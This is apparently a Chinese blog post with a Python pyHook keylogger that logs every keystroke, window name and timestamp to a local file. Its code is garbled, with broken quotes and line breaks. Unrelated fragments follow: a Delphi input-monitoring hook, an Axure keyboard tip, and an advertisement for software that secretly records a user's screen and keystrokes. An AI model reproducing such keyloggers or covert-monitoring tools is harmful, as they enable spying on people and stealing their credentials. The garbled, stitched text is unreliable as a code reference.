pyhooks
api手冊:
以上**上提供了個使用的例子,另外安裝pyhooks後,也會有乙個例子的檔案。於是拿來學習了一下,第一次執行時,提示沒有pythoncom模組,就安裝了pywin32,安裝後,可以正常執行,但是會導致機器發卡,特別是中斷程式執行後,滑鼠會出現一段時間的自由晃動,找了半天原因,感覺主要是事件頻率過高,程式會經常卡在pythoncom.pumpmessages()。
網上搜尋了半天,看到有一帖子說是pythoncom.pumpmessages(n),n表示延遲時間,於是試著改了下,發現有一定效果,但不明顯,後來想是不是因為沒有終止程式,才會導致一直很卡呢,於是新增終止程式語句win32api.postquitmessage()。結果還算滿意。
#-*- coding: cp936 -*-
import pythoncom
import pyhook
import time
import win32api
t=''
asciistr=''
keystr=''
def onkeyboardevent(event):
global t,asciistr,keystr
filename='
d:'wrfile=open(filename,'
ab')
"處理鍵盤事件
"if t==str(event.windowname):
asciistr=asciistr+chr(event.ascii)
keystr=keystr+str(event.key)
else:
t=str(event.windowname)
if asciistr==''
and keystr=='':
wrfile.writelines("
\nwindow:%s\n
" % str(event.window))
wrfile.writelines("
windowname:%s\n
" % str(event.windowname)) #
寫入當前窗體名
wrfile.writelines("
messagename:%s\n
" % str(event.messagename))
wrfile.writelines("
message:%d\n
" % event.message)
wrfile.writelines("
time:%s\n
" % time.strftime('
%y-%m-%d %h:%m:%s
',time.localtime()))
else:
wrfile.writelines("
ascii_char:%s\n
" %asciistr)
wrfile.writelines("
key_char:%s\n
" %keystr)
wrfile.writelines("
\nwindow:%s\n
" % str(event.window))
wrfile.writelines("
windowname:%s\n
" % str(event.windowname)) #
寫入當前窗體名
wrfile.writelines("
time:%s\n
" % time.strftime('
%y-%m-%d %h:%m:%s
',time.localtime()))
asciistr=chr(event.ascii)
keystr=str(event.key)
if str(event.key)=='
f12': #按下f12後終止
wrfile.writelines("
ascii_char:%s\n
" %asciistr)
wrfile.writelines("
key_char:%s\n
" %keystr)
wrfile.close()
win32api.postquitmessage()
return true
if__name__ == "
__main__
":'''
小五義:
'''#
建立hook控制代碼
hm = pyhook.hookmanager()
#監控鍵盤
hm.keydown = onkeyboardevent
hm.hookkeyboard()
#迴圈獲取訊息
pythoncom.pumpmessages(10000)
監控鍵盤滑鼠的動作,實現離位監控
在網上找了很多hook鍵盤滑鼠,實現離位監控,都不完善,這裡根據的 修改後做了介面呼叫簡單。由於本人對dll不熟悉,本想直接把接收資訊的窗體也做到dll裡的,一是不熟悉,二是時間緊,就沒搞了。下來進入正題 把監控鍵盤滑鼠動作的過程,封裝成了 乙個form窗體 frmkbmhook.pas dfm 在...
axure鍵盤彈出 AxureRP實現鍵盤互動效果
與鍵盤的互動一般都簡化成輸入內容,或者改為由滑鼠來控制會比較多,因為b s架構的系統或者 其實不大需要跟鍵盤有互動,用滑鼠就可以全部都實現了,這也是為了提公升使用者體驗的滿意度。不過現在網頁遊戲這麼流行,雖然大部分操作也還是只需要滑鼠就可以了,但還是支援鍵盤快捷鍵的。因此鍵盤互動也並非完全沒有用武之...
綠色螢幕鍵盤監控專家 安全相關
軟體大小 3.25mb 軟體語言 簡體中文 軟體類別 軟體授權 免費軟體 5應用平台 win2k,winxp,win2003,vista,win7 的一舉一動都將被詳細記錄下來,本軟體能設定為開機自動啟動,在電腦使用者毫無覺察的情況下將螢幕內容以的形式 按鍵內容以文字文件的形式儲存在指定的資料夾或傳...